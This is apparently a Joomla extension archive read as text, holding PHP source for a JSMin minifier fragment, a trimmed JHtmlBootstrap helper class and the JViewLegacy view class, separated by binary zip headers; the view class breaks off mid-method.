    if ($c === '/') {
      switch($this->peek()) {
        case '/':
          for (;;) {
            $c = $this->get();

            if (ord($c) <= self::ORD_LF) {
              return $c;
            }
          }

        case '*':
          $this->get();

          for (;;) {
            switch($this->get()) {
              case '*':
                if ($this->peek() === '/') {
                  $this->get();
                  return ' ';
                }
                break;

              case null:
                throw new JSMinException('Unterminated comment.');
            }
          }

        default:
          return $c;
      }
    }

    return $c;
  }

  protected function peek() {
    $this->lookAhead = $this->get();
    return $this->lookAhead;
  }
}

// -- Exceptions ---------------------------------------------------------------
class JSMinException extends Exception {}
PK!�#o,,+bluejoomla/core/classes/joomla30/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!I3|UMUM.bluejoomla/core/classes/joomla30/bootstrap.phpnu&1i�<?php
/**
 * @package     Joomla.Libraries
 * @subpackage  HTML
 *
 * @copyright   Copyright (C) 2005 - 2013 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Utility class for Bootstrap elements.
 *
 * @package     Joomla.Libraries
 * @subpackage  HTML
 * @since       3.0
 */
abstract class JHtmlBootstrap
{
	/**
	 * @var    array  Array containing information for loaded files
	 * @since  3.0
	 */
	protected static $loaded = array();

	/**
	 * Add javascript support for Bootstrap alerts
	 *
	 * @param   string  $selector  Common class for the alerts
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function alert($selector = 'alert')
	{
		// Only load once
		if (isset(self::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		self::framework();

		// Attach the alerts to the document
		JFactory::getDocument()->addScriptDeclaration(
			"(function($){
				$('.$selector').alert();
				})(jQuery);"
		);

		self::$loaded[__METHOD__][$selector] = true;

		return;
	}

	/**
	 * Add javascript support for Bootstrap carousels
	 *
	 * @param   string  $selector  Common class for the carousels.
	 * @param   array   $params    An array of options for the modal.
	 *                             Options for the modal can be:
	 *                             - interval  number  The amount of time to delay between automatically cycling an item.
	 *                                                 If false, carousel will not automatically cycle.
	 *                             - pause     string  Pauses the cycling of the carousel on mouseenter and resumes the cycling
	 *                                                 of the carousel on mouseleave.
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function carousel($selector = 'carousel', $params = array())
	{
		$sig = md5(serialize(array($selector, $params)));
		if (!isset(self::$loaded[__METHOD__][$sig]))
		{
			// Include Bootstrap framework
			self::framework();

			// Setup options object
			$opt['interval'] = (isset($params['interval']) && ($params['interval'])) ? (int) $params['interval'] : 5000;
			$opt['pause'] = (isset($params['pause']) && ($params['pause'])) ? $params['pause'] : 'hover';

			$options = self::_getJSObject($opt);

			// Attach the carousel to document
			JFactory::getDocument()->addScriptDeclaration(
				"(function($){
					$('.$selector').carousel($options);
					})(jQuery);"
			);

			// Set static array
			self::$loaded[__METHOD__][$sig] = true;
		}

		return;
	}

	/**
	 * Add javascript support for Bootstrap dropdowns
	 *
	 * @param   string  $selector  Common class for the dropdowns
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function dropdown($selector = 'dropdown-toggle')
	{
		// Only load once
		if (isset(self::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		self::framework();

		// Attach the dropdown to the document
		JFactory::getDocument()->addScriptDeclaration(
			"(function($){
				$('.$selector').dropdown();
				})(jQuery);"
		);

		self::$loaded[__METHOD__][$selector] = true;

		return;
	}

	/**
	 * Method to load the Bootstrap JavaScript framework into the document head
	 *
	 * If debugging mode is on an uncompressed version of Bootstrap is included for easier debugging.
	 *
	 * @param   mixed  $debug  Is debugging mode on? [optional]
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function framework($debug = null)
	{
		return;
	}

	/**
	 * Add javascript support for Bootstrap modals
	 *
	 * @param   string  $selector  The ID selector for the modal.
	 * @param   array   $params    An array of options for the modal.
	 *                             Options for the modal can be:
	 *                             - backdrop  boolean  Includes a modal-backdrop element.
	 *                             - keyboard  boolean  Closes the modal when escape key is pressed.
	 *                             - show      boolean  Shows the modal when initialized.
	 *                             - remote    string   An optional remote URL to load
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function modal($selector = 'modal', $params = array())
	{
		$sig = md5(serialize(array($selector, $params)));
		if (!isset(self::$loaded[__METHOD__][$sig]))
		{
			// Include Bootstrap framework
			self::framework();

			// Setup options object
			$opt['backdrop'] = (isset($params['backdrop']) && ($params['backdrop'])) ? (boolean) $params['backdrop'] : true;
			$opt['keyboard'] = (isset($params['keyboard']) && ($params['keyboard'])) ? (boolean) $params['keyboard'] : true;
			$opt['show']     = (isset($params['show']) && ($params['show'])) ? (boolean) $params['show'] : true;
			$opt['remote']   = (isset($params['remote']) && ($params['remote'])) ? (boolean) $params['remote'] : '';

			$options = self::__getJSObject($opt);

			// Attach the modal to document
			JFactory::getDocument()->addScriptDeclaration(
				"(function($){
					$('#$selector').modal($options);
					})(jQuery);"
			);

			// Set static array
			self::$loaded[__METHOD__][$sig] = true;
		}

		return;
	}

	/**
	 * Method to render a Bootstrap modal
	 *
	 * @param   string  $selector  The ID selector for the modal.
	 * @param   array   $params    An array of options for the modal.
	 * @param   string  $footer    Optional markup for the modal footer
	 *
	 * @return  string  HTML markup for a modal
	 *
	 * @since   3.0
	 */
	public static function renderModal($selector = 'modal', $params = array(), $footer = '')
	{
		// Ensure the behavior is loaded
		self::modal($selector, $params);

		$html = "<div class=\"modal hide fade\" id=\"" . $selector . "\">\n";
		$html .= "<div class=\"modal-header\">\n";
		$html .= "<button type=\"button\" class=\"close\" data-dismiss=\"modal\">×</button>\n";
		$html .= "<h3>" . $params['title'] . "</h3>\n";
		$html .= "</div>\n";
		$html .= "<div id=\"" . $selector . "-container\">\n";
		$html .= "</div>\n";
		$html .= "</div>\n";

		$html .= "<script>";
		$html .= "jQuery('#" . $selector . "').on('show', function () {\n";
		$html .= "document.getElementById('" . $selector . "-container').innerHTML = '<div class=\"modal-body\"><iframe class=\"iframe\" src=\"" . $params['url'] . "\" height=\"" . $params['height'] . "\" width=\"" . $params['width'] . "\"></iframe></div>" . $footer . "';\n";
		$html .= "});\n";
		$html .= "</script>";

		return $html;
	}

	/**
	 * Add javascript support for Bootstrap popovers
	 *
	 * Use element's Title as popover content
	 *
	 * @param   string  $selector  Selector for the tooltip
	 * @param   array   $params    An array of options for the tooltip.
	 *                  Options for the tooltip can be:
	 *                      animation  boolean          apply a css fade transition to the tooltip
	 *                      html       boolean          Insert HTML into the tooltip. If false, jQuery's text method will be used to insert
	 *                                                  content into the dom.
	 *                      placement  string|function  how to position the tooltip - top | bottom | left | right
	 *                      selector   string           If a selector is provided, tooltip objects will be delegated to the specified targets.
	 *                      title      string|function  default title value if `title` tag isn't present
	 *                      trigger    string           how tooltip is triggered - hover | focus | manual
	 *                      content    string|function  default content value if `data-content` attribute isn't present
	 *                      delay      number|object    delay showing and hiding the tooltip (ms) - does not apply to manual trigger type
	 *                                                  If a number is supplied, delay is applied to both hide/show
	 *                                                  Object structure is: delay: { show: 500, hide: 100 }
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function popover($selector = '.hasPopover', $params = array())
	{
		// Only load once
		if (isset(self::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		self::framework();

		$opt['animation'] = isset($params['animation']) ? $params['animation'] : null;
		$opt['html']      = isset($params['html']) ? $params['html'] : null;
		$opt['placement'] = isset($params['placement']) ? $params['placement'] : null;
		$opt['selector']  = isset($params['selector']) ? $params['selector'] : null;
		$opt['title']     = isset($params['title']) ? $params['title'] : null;
		$opt['trigger']   = isset($params['trigger']) ? $params['trigger'] : 'hover';
		$opt['content']   = isset($params['content']) ? $params['content'] : null;
		$opt['delay']     = isset($params['delay']) ? $params['delay'] : null;

		$options = self::__getJSObject($opt);

		// Attach the popover to the document
		JFactory::getDocument()->addScriptDeclaration(
			"jQuery(document).ready(function()
			{
				jQuery('" . $selector . "').popover(" . $options . ");
			});"
		);

		self::$loaded[__METHOD__][$selector] = true;

		return;
	}

	/**
	 * Add javascript support for Bootstrap ScrollSpy
	 *
	 * @param   string  $selector  The ID selector for the ScrollSpy element.
	 * @param   array   $params    An array of options for the ScrollSpy.
	 *                             Options for the modal can be:
	 *                             - offset  number  Pixels to offset from top when calculating position of scroll.
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function scrollspy($selector = 'navbar', $params = array())
	{
		$sig = md5(serialize(array($selector, $params)));
		if (!isset(self::$loaded[__METHOD__][$sig]))
		{
			// Include Bootstrap framework
			self::framework();

			// Setup options object
			$opt['offset'] = (isset($params['offset']) && ($params['offset'])) ? (int) $params['offset'] : 10;

			$options = self::__getJSObject($opt);

			// Attach ScrollSpy to document
			JFactory::getDocument()->addScriptDeclaration(
				"(function($){
					$('#$selector').scrollspy($options);
					})(jQuery);"
			);

			// Set static array
			self::$loaded[__METHOD__][$sig] = true;
		}

		return;
	}

	/**
	 * Add javascript support for Bootstrap tooltips
	 *
	 * Add a title attribute to any element in the form
	 * title="title::text"
	 *
	 * @param   string  $selector  The ID selector for the tooltip.
	 * @param   array   $params    An array of options for the tooltip.
	 *                             Options for the tooltip can be:
	 *                             - animation  boolean          Apply a CSS fade transition to the tooltip
	 *                             - html       boolean          Insert HTML into the tooltip. If false, jQuery's text method will be used to insert
	 *                                                           content into the dom.
	 *                             - placement  string|function  How to position the tooltip - top | bottom | left | right
	 *                             - selector   string           If a selector is provided, tooltip objects will be delegated to the specified targets.
	 *                             - title      string|function  Default title value if `title` tag isn't present
	 *                             - trigger    string           How tooltip is triggered - hover | focus | manual
	 *                             - delay      number           Delay showing and hiding the tooltip (ms) - does not apply to manual trigger type
	 *                                                           If a number is supplied, delay is applied to both hide/show
	 *                                                           Object structure is: delay: { show: 500, hide: 100 }
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function tooltip($selector = '.hasTooltip', $params = array())
	{
		if (!isset(self::$loaded[__METHOD__][$selector]))
		{
			// Include Bootstrap framework
			self::framework();

			// Setup options object
			$opt['animation'] = (isset($params['animation']) && ($params['animation'])) ? (boolean) $params['animation'] : null;
			$opt['html']      = (isset($params['html']) && ($params['html'])) ? (boolean) $params['html'] : null;
			$opt['placement'] = (isset($params['placement']) && ($params['placement'])) ? (string) $params['placement'] : null;
			$opt['selector']  = (isset($params['selector']) && ($params['selector'])) ? (string) $params['selector'] : null;
			$opt['title']     = (isset($params['title']) && ($params['title'])) ? (string) $params['title'] : null;
			$opt['trigger']   = (isset($params['trigger']) && ($params['trigger'])) ? (string) $params['trigger'] : null;
			$opt['delay']     = (isset($params['delay']) && ($params['delay'])) ? (int) $params['delay'] : null;

			$options = self::__getJSObject($opt);

			// Attach tooltips to document
			JFactory::getDocument()->addScriptDeclaration(
				"jQuery(document).ready(function()
				{
					jQuery('" . $selector . "').tooltip(" . $options . ");
				});"
			);

			// Set static array
			self::$loaded[__METHOD__][$selector] = true;
		}

		return;
	}

	/**
	 * Add javascript support for Bootstrap accordians and insert the accordian
	 *
	 * @param   string  $selector  The ID selector for the tooltip.
	 * @param   array   $params    An array of options for the tooltip.
	 *                             Options for the tooltip can be:
	 *                             - parent  selector  If selector then all collapsible elements under the specified parent will be closed when this
	 *                                                 collapsible item is shown. (similar to traditional accordion behavior)
	 *                             - toggle  boolean   Toggles the collapsible element on invocation
	 *                             - active  string    Sets the active slide during load
	 *
	 * @return  string  HTML for the accordian
	 *
	 * @since   3.0
	 */
	public static function startAccordion($selector = 'myAccordian', $params = array())
	{
		$sig = md5(serialize(array($selector, $params)));
		if (!isset(self::$loaded[__METHOD__][$sig]))
		{
			// Include Bootstrap framework
			self::framework();

			// Setup options object
			$opt['parent'] = (isset($params['parent']) && ($params['parent'])) ? (boolean) $params['parent'] : false;
			$opt['toggle'] = (isset($params['toggle']) && ($params['toggle'])) ? (boolean) $params['toggle'] : true;
			$opt['active'] = (isset($params['active']) && ($params['active'])) ? (string) $params['active'] : '';

			$options = self::__getJSObject($opt);

			// Attach accordion to document
			JFactory::getDocument()->addScriptDeclaration(
				"(function($){
					$('#$selector').collapse($options);
				})(jQuery);"
			);

			// Set static array
			self::$loaded[__METHOD__][$sig] = true;
			self::$loaded[__METHOD__]['active'] = $opt['active'];
		}

		return '<div id="' . $selector . '" class="accordion">';
	}

	/**
	 * Close the current accordion
	 *
	 * @return  string  HTML to close the accordian
	 *
	 * @since   3.0
	 */
	public static function endAccordion()
	{
		return '</div>';
	}

	/**
	 * Begins the display of a new accordion slide.
	 *
	 * @param   string  $selector  Identifier of the accordion group.
	 * @param   string  $text      Text to display.
	 * @param   string  $id        Identifier of the slide.
	 *
	 * @return  string  HTML to add the slide
	 *
	 * @since   3.0
	 */
	public static function addSlide($selector, $text, $id)
	{
		$in = (self::$loaded['JHtmlBootstrap::startAccordion']['active'] == $id) ? ' in' : '';

		$html = '<div class="accordion-group">'
				. '<div class="accordion-heading">'
				. '<strong><a href="#' . $id . '" data-parent="#' . $selector . '" data-toggle="collapse" class="accordion-toggle">'
				. $text
				. '</a></strong>'
				. '</div>'
				. '<div class="accordion-body collapse' . $in . '" id="' . $id . '">'
				. '<div class="accordion-inner">';

		return $html;
	}

	/**
	 * Close the current slide
	 *
	 * @return  string  HTML to close the slide
	 *
	 * @since   3.0
	 */
	public static function endSlide()
	{
		return '</div></div></div>';
	}

	/**
	 * Creates a tab pane
	 *
	 * @param   string  $selector  The pane identifier.
	 * @param   array   $params    The parameters for the pane
	 *
	 * @return  string
	 *
	 * @since   3.0
	 */
	public static function startPane($selector = 'myTab', $params = array())
	{
		$sig = md5(serialize(array($selector, $params)));
		if (!isset(self::$loaded[__METHOD__][$sig]))
		{
			// Include Bootstrap framework
			self::framework();

			// Setup options object
			$opt['active'] = (isset($params['active']) && ($params['active'])) ? (string) $params['active'] : '';

			$options = self::__getJSObject($opt);

			// Attach tooltips to document
			JFactory::getDocument()->addScriptDeclaration(
				"(function($){
					$('#$selector a').click(function (e)
					{
						e.preventDefault();
						$(this).tab('show');
					});
				})(jQuery);"
			);

			// Set static array
			self::$loaded[__METHOD__][$sig] = true;
			self::$loaded[__METHOD__][$selector]['active'] = $opt['active'];
		}

		return '<div class="tab-content" id="' . $selector . 'Content">';
	}

	/**
	 * Close the current tab pane
	 *
	 * @return  string  HTML to close the pane
	 *
	 * @since   3.0
	 */
	public static function endPane()
	{
		return '</div>';
	}

	/**
	 * Begins the display of a new tab content panel.
	 *
	 * @param   string  $selector  Identifier of the panel.
	 * @param   string  $id        The ID of the div element
	 *
	 * @return  string  HTML to start a new panel
	 *
	 * @since   3.0
	 */
	public static function addPanel($selector, $id)
	{
		$active = (self::$loaded['JHtmlBootstrap::startPane'][$selector]['active'] == $id) ? ' active' : '';

		return '<div id="' . $id . '" class="tab-pane' . $active . '">';
	}

	/**
	 * Close the current tab content panel
	 *
	 * @return  string  HTML to close the pane
	 *
	 * @since   3.0
	 */
	public static function endPanel()
	{
		return '</div>';
	}

	/**
	 * Loads CSS files needed by Bootstrap
	 *
	 * @param   boolean  $includeMainCss  If true, main bootstrap.css files are loaded
	 * @param   string   $direction       rtl or ltr direction. If empty, ltr is assumed
	 * @param   array    $attribs         Optional array of attributes to be passed to JHtml::_('stylesheet')
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function loadCss($includeMainCss = true, $direction = 'ltr', $attribs = array())
	{
		return;
	}
	
	//From JHtml
	
	/**
	 * Internal method to get a JavaScript object notation string from an array
	 *
	 * @param   array  $array  The array to convert to JavaScript object notation
	 *
	 * @return  string  JavaScript object notation representation of the array
	 *
	 * @since   12.2
	 */
	public static function __getJSObject(array $array = array())
	{
		$object = '{';

		// Iterate over array to build objects
		foreach ((array) $array as $k => $v)
		{
			if (is_null($v))
			{
				continue;
			}

			if (is_bool($v))
			{
				$object .= ' ' . $k . ': ';
				$object .= ($v) ? 'true' : 'false';
				$object .= ',';
			}
			elseif (!is_array($v) && !is_object($v))
			{
				$object .= ' ' . $k . ': ';
				$object .= (is_numeric($v) || strpos($v, '\\') === 0) ? (is_numeric($v)) ? $v : substr($v, 1) : "'" . str_replace("'", "\\'", trim($v, "'")) . "'";
				$object .= ',';
			}
			else
			{
				$object .= ' ' . $k . ': ' . self::getJSObject($v) . ',';
			}
		}

		if (substr($object, -1) == ',')
		{
			$object = substr($object, 0, -1);
		}

		$object .= '}';

		return $object;
	}	
}
PK!��Ag&J&J/bluejoomla/core/classes/joomla30/viewlegacy.phpnu&1i�<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  View
 *
 * @copyright   Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Base class for a Joomla View
 *
 * Class holding methods for displaying presentation data.
 *
 * @package     Joomla.Legacy
 * @subpackage  View
 * @since       12.2
 */
class JViewLegacy extends JObject
{
	/**
	 * The name of the view
	 *
	 * @var    array
	 */
	protected $_name = null;

	/**
	 * Registered models
	 *
	 * @var    array
	 */
	protected $_models = array();

	/**
	 * The base path of the view
	 *
	 * @var    string
	 */
	protected $_basePath = null;

	/**
	 * The default model
	 *
	 * @var	string
	 */
	protected $_defaultModel = null;

	/**
	 * Layout name
	 *
	 * @var    string
	 */
	protected $_layout = 'default';

	/**
	 * Layout extension
	 *
	 * @var    string
	 */
	protected $_layoutExt = 'php';

	/**
	 * Layout template
	 *
	 * @var    string
	 */
	protected $_layoutTemplate = '_';

	/**
	 * The set of search directories for resources (templates)
	 *
	 * @var array
	 */
	protected $_path = array('template' => array(), 'helper' => array());

	/**
	 * The name of the default template source file.
	 *
	 * @var string
	 */
	protected $_template = null;

	/**
	 * The output of the template script.
	 *
	 * @var string
	 */
	protected $_output = null;

	/**
	 * Callback for escaping.
	 *
	 * @var string
	 * @deprecated 13.3
	 */
	protected $_escape = 'htmlspecialchars';

	/**
	 * Charset to use in escaping mechanisms; defaults to urf8 (UTF-8)
	 *
	 * @var string
	 */
	protected $_charset = 'UTF-8';

	/**
	 * Constructor
	 *
	 * @param   array  $config  A named configuration array for object construction.<br/>
	 *                          name: the name (optional) of the view (defaults to the view class name suffix).<br/>
	 *                          charset: the character set to use for display<br/>
	 *                          escape: the name (optional) of the function to use for escaping strings<br/>
	 *                          base_path: the parent path (optional) of the views directory (defaults to the component folder)<br/>
	 *                          template_plath: the path (optional) of the layout directory (defaults to base_path + /views/ + view name<br/>
	 *                          helper_path: the path (optional) of the helper files (defaults to base_path + /helpers/)<br/>
	 *                          layout: the layout (optional) to use to display the view<br/>
	 *
	 * @since   12.2
	 */
	public function __construct($config = array())
	{
		// Set the view name
		if (empty($this->_name))
		{
			if (array_key_exists('name', $config))
			{
				$this->_name = $config['name'];
			}
			else
			{
				$this->_name = $this->getName();
			}
		}

		// Set the charset (used by the variable escaping functions)
		if (array_key_exists('charset', $config))
		{
			JLog::add('Setting a custom charset for escaping is deprecated. Override JViewLegacy::escape() instead.', JLog::WARNING, 'deprecated');
			$this->_charset = $config['charset'];
		}

		// User-defined escaping callback
		if (array_key_exists('escape', $config))
		{
			$this->setEscape($config['escape']);
		}

		// Set a base path for use by the view
		if (array_key_exists('base_path', $config))
		{
			$this->_basePath = $config['base_path'];
		}
		else
		{
			$this->_basePath = JPATH_COMPONENT;
		}

		// Set the default template search path
		if (array_key_exists('template_path', $config))
		{
			// User-defined dirs
			$this->_setPath('template', $config['template_path']);
		}
		else
		{
			$this->_setPath('template', $this->_basePath . '/views/' . $this->getName() . '/tmpl');
		}

		// Set the default helper search path
		if (array_key_exists('helper_path', $config))
		{
			// User-defined dirs
			$this->_setPath('helper', $config['helper_path']);
		}
		else
		{
			$this->_setPath('helper', $this->_basePath . '/helpers');
		}

		// Set the layout
		if (array_key_exists('layout', $config))
		{
			$this->setLayout($config['layout']);
		}
		else
		{
			$this->setLayout('default');
		}

		$this->baseurl = JURI::base(true);
	}

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise a Error object.
	 *
	 * @see     fetch()
	 * @since   12.2
	 */
	public function display($tpl = null)
	{
		$result = $this->loadTemplate($tpl);
		if ($result instanceof Exception)
		{
			return $result;
		}

		echo $result;
	}

	/**
	 * Assigns variables to the view script via differing strategies.
	 *
	 * This method is overloaded; you can assign all the properties of
	 * an object, an associative array, or a single value by name.
	 *
	 * You are not allowed to set variables that begin with an underscore;
	 * these are either private properties for JView or private variables
	 * within the template script itself.
	 *
	 * <code>
	 * $view = new JView;
	 *
	 * // Assign directly
	 * $view->var1 = 'something';
	 * $view->var2 = 'else';
	 *
	 * // Assign by name and value
	 * $view->assign('var1', 'something');
	 * $view->assign('var2', 'else');
	 *
	 * // Assign by assoc-array
	 * $ary = array('var1' => 'something', 'var2' => 'else');
	 * $view->assign($obj);
	 *
	 * // Assign by object
	 * $obj = new stdClass;
	 * $obj->var1 = 'something';
	 * $obj->var2 = 'else';
	 * $view->assign($obj);
	 *
	 * </code>
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @deprecated  13.3 Use native PHP syntax.
	 */
	public function assign()
	{
		JLog::add(__METHOD__ . ' is deprecated. Use native PHP syntax.', JLog::WARNING, 'deprecated');

		// Get the arguments; there may be 1 or 2.
		$arg0 = @func_get_arg(0);
		$arg1 = @func_get_arg(1);

		// Assign by object
		if (is_object($arg0))
		{
			// Assign public properties
			foreach (get_object_vars($arg0) as $key => $val)
			{
				if (substr($key, 0, 1) != '_')
				{
					$this->$key = $val;
				}
			}
			return true;
		}

		// Assign by associative array
		if (is_array($arg0))
		{
			foreach ($arg0 as $key => $val)
			{
				if (substr($key, 0, 1) != '_')
				{
					$this->$key = $val;
				}
			}
			return true;
		}

		// Assign by string name and mixed value.

		// We use array_key_exists() instead of isset() because isset()
		// fails if the value is set to null.
		if (is_string($arg0) && substr($arg0, 0, 1) != '_' && func_num_args() > 1)
		{
			$this->$arg0 = $arg1;
			return true;
		}

		// $arg0 was not object, array, or string.
		return false;
	}

	/**
	 * Assign variable for the view (by reference).
	 *
	 * You are not allowed to set variables that begin with an underscore;
	 * these are either private properties for JView or private variables
	 * within the template script itself.
	 *
	 * <code>
	 * $view = new JView;
	 *
	 * // Assign by name and value
	 * $view->assignRef('var1', $ref);
	 *
	 * // Assign directly
	 * $view->ref = &$var1;
	 * </code>
	 *
	 * @param   string  $key   The name for the reference in the view.
	 * @param   mixed   &$val  The referenced variable.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   12.2
	 * @deprecated  13.3  Use native PHP syntax.
	 */
	public function assignRef($key, &$val)
	{
		JLog::add(__METHOD__ . ' is deprecated. Use native PHP syntax.', JLog::WARNING, 'deprecated');

		if (is_string($key) && substr($key, 0, 1) != '_')
		{
			$this->$key = &$val;
			return true;
		}

		return false;
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * If escaping mechanism is either htmlspecialchars or htmlentities, uses
	 * {@link $_encoding} setting.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 *
	 * @since   12.2
	 */
	public function escape($var)
	{
		if (in_array($this->_escape, array('htmlspecialchars', 'htmlentities')))
		{
			return call_user_func($this->_escape, $var, ENT_COMPAT, $this->_charset);
		}

		return call_user_func($this->_escape, $var);
	}

	/**
	 * Method to get data from a registered model or a property of the view
	 *
	 * @param   string  $property  The name of the method to call on the model or the property to get
	 * @param   string  $default   The name of the model to reference or the default value [optional]
	 *
	 * @return  mixed  The return value of the method
	 *
	 * @since   12.2
	 */
	public function get($property, $default = null)
	{
		// If $model is null we use the default model
		if (is_null($default))
		{
			$model = $this->_defaultModel;
		}
		else
		{
			$model = strtolower($default);
		}

		// First check to make sure the model requested exists
		if (isset($this->_models[$model]))
		{
			// Model exists, let's build the method name
			$method = 'get' . ucfirst($property);

			// Does the method exist?
			if (method_exists($this->_models[$model], $method))
			{
				// The method exists, let's call it and return what we get
				$result = $this->_models[$model]->$method();
				return $result;
			}

		}

		// Degrade to JObject::get
		$result = parent::get($property, $default);

		return $result;
	}

	/**
	 * Method to get the model object
	 *
	 * @param   string  $name  The name of the model (optional)
	 *
	 * @return  mixed  JModelLegacy object
	 *
	 * @since   12.2
	 */
	public function getModel($name = null)
	{
		if ($name === null)
		{
			$name = $this->_defaultModel;
		}
		return $this->_models[strtolower($name)];
	}

	/**
	 * Get the layout.
	 *
	 * @return  string  The layout name
	 */
	public function getLayout()
	{
		return $this->_layout;
	}

	/**
	 * Get the layout template.
	 *
	 * @return  string  The layout template name
	 */
	public function getLayoutTemplate()
	{
		return $this->_layoutTemplate;
	}

	/**
	 * Method to get the view name
	 *
	 * The model name by default parsed using the classname, or it can be set
	 * by passing a $config['name'] in the class constructor
	 *
	 * @return  string  The name of the model
	 *
	 * @since   12.2
	 * @throws  Exception
	 */
	public function getName()
	{
		if (empty($this->_name))
		{
			$classname = get_class($this);
			$viewpos = strpos($classname, 'View');

			if ($viewpos === false)
			{
				throw new Exception(JText::_('JLIB_APPLICATION_ERROR_VIEW_GET_NAME'), 500);
			}

			$this->_name = strtolower(substr($classname, $viewpos + 4));
		}

		return $this->_name;
	}

	/**
	 * Method to add a model to the view.  We support a multiple model single
	 * view system by which models are referenced by classname.  A caveat to the
	 * classname referencing is that any classname prepended by JModel will be
	 * referenced by the name without JModel, eg. JModelCategory is just
	 * Category.
	 *
	 * @param   JModelLegacy  $model    The model to add to the view.
	 * @param   boolean       $default  Is this the default model?
	 *
	 * @return  object   The added model.
	 *
	 * @since   12.2
	 */
	public function setModel($model, $default = false)
	{
		$name = strtolower($model->getName());
		$this->_models[$name] = $model;

		if ($default)
		{
			$this->_defaultModel = $name;
		}
		return $model;
	}

	/**
	 * Sets the layout name to use
	 *
	 * @param   string  $layout  The layout name or a string in format <template>:<layout file>
	 *
	 * @return  string  Previous value.
	 *
	 * @since   12.2
	 */
	public function setLayout($layout)
	{
		$previous = $this->_layout;
		if (strpos($layout, ':') === false)
		{
			$this->_layout = $layout;
		}
		else
		{
			// Convert parameter to array based on :
			$temp = explode(':', $layout);
			$this->_layout = $temp[1];

			// Set layout template
			$this->_layoutTemplate = $temp[0];
		}

		return $previous;
	}

	/**
	 * Allows a different extension for the layout files to be used
	 *
	 * @param   string  $value  The extension.
	 *
	 * @return  string   Previous value
	 *
	 * @since   12.2
	 */
	public function setLayoutExt($value)
	{
		$previous = $this->_layoutExt;
		if ($value = preg_replace('#[^A-Za-z0-9]#', '', trim($value)))
		{
			$this->_layoutExt = $value;
		}

		return $previous;
	}

	/**
	 * Sets the _escape() callback.
	 *
	 * @param   mixed  $spec  The callback for _escape() to use.
	 *
	 * @return  void
	 *
	 * @since   12.2
	 * @deprecated  13.3  Override JViewLegacy::escape() instead.
	 */
	public function setEscape($spec)
	{
		JLog::add(__METHOD__ . ' is deprecated. Override JViewLegacy::escape() instead.', JLog::WARNING, 'deprecated');

		$this->_escape = $spec;
	}

	/**
	 * Adds to the stack of view script paths in LIFO order.
	 *
	 * @param   mixed  $path  A directory path or an array of paths.
	 *
	 * @return  void
	 *
	 * @since   12.2
	 */
	public function addTemplatePath($path)
	{
		$this->_addPath('template', $path);
	}

	/**
	 * Adds to the stack of helper script paths in LIFO order.
	 *
	 * @param   mixed  $path  A directory path or an array of paths.
	 *
	 * @return  void
	 *
	 * @since   12.2
	 */
	public function addHelperPath($path)
	{
		$this->_addPath('helper', $path);
	}

	/**
	 * Load a template file -- first look in the templates folder for an override
	 *
	 * @param   string  $tpl  The name of the template source file; automatically searches the template paths and compiles as needed.
	 *
	 * @return  string  The output of the the template script.
	 *
	 * @since   12.2
	 * @throws  Exception
	 */
	public function loadTemplate($tpl = null)
	{
		// Clear prior output
		$this->_output = null;

		$template = JFactory::getApplication()->getTemplate();
		$layout = $this->getLayout();
		$layoutTemplate = $this->getLayoutTemplate();

		// Create the template file name based on the layout
		$file = isset($tpl) ? $layout . '_' . $tpl : $layout;

		// Clean the file name
		$file = preg_replace('/[^A-Z0-9_\.-]/i', '', $file);
		$tpl = isset($tpl) ? preg_replace('/[^A-Z0-9_\.-]/i', '', $tpl) : $tpl;

		// Load the language file for the template
		$lang = JFactory::getLanguage();
		$lang->load('tpl_' . $template, JPATH_BASE, null, false, false)
			|| $lang->load('tpl_' . $template, JPATH_THEMES . "/$template", null, false, false)
			|| $lang->load('tpl_' . $template, JPATH_BASE, $lang->getDefault(), false, false)
			|| $lang->load('tpl_' . $template, JPATH_THEMES . "/$template", $lang->getDefault(), false, false);

		// Change the template folder if alternative layout is in different template
		if (isset($layoutTemplate) && $layoutTemplate != '_' && $layoutTemplate != $template)
		{
			$this->_path['template'] = str_replace($template, $layoutTemplate, $this->_path['template']);
		}

		// Load the template script
		jimport('joomla.filesystem.path');
		$filetofind = $this->_createFileName('template', array('name' => $file));
		$this->_template = JPath::find($this->_path['template'], $filetofind);

		// If alternate layout can't be found, fall back to default layout
		if ($this->_template == false)
		{
			$filetofind = $this->_createFileName('', array('name' => 'default' . (isset($tpl) ? '_' . $tpl : $tpl)));
			$this->_template = JPath::find($this->_path['template'], $filetofind);
		}

		if ($this->_template != false)
		{
			// Unset so as not to introduce into template scope
			unset($tpl);
			unset($file);

			// Never allow a 'this' property
			if (isset($this->this))
			{
				unset($this->this);
			}

			// Start capturing output into a buffer
			ob_start();

			// Include the requested template filename in the local scope
			// (this will execute the view logic).
			include $this->_template;

			// Done with the requested template; get the buffer and
			// clear it.
			$this->_output = ob_get_contents();
			ob_end_clean();

			return $this->_output;
		}
		else
		{
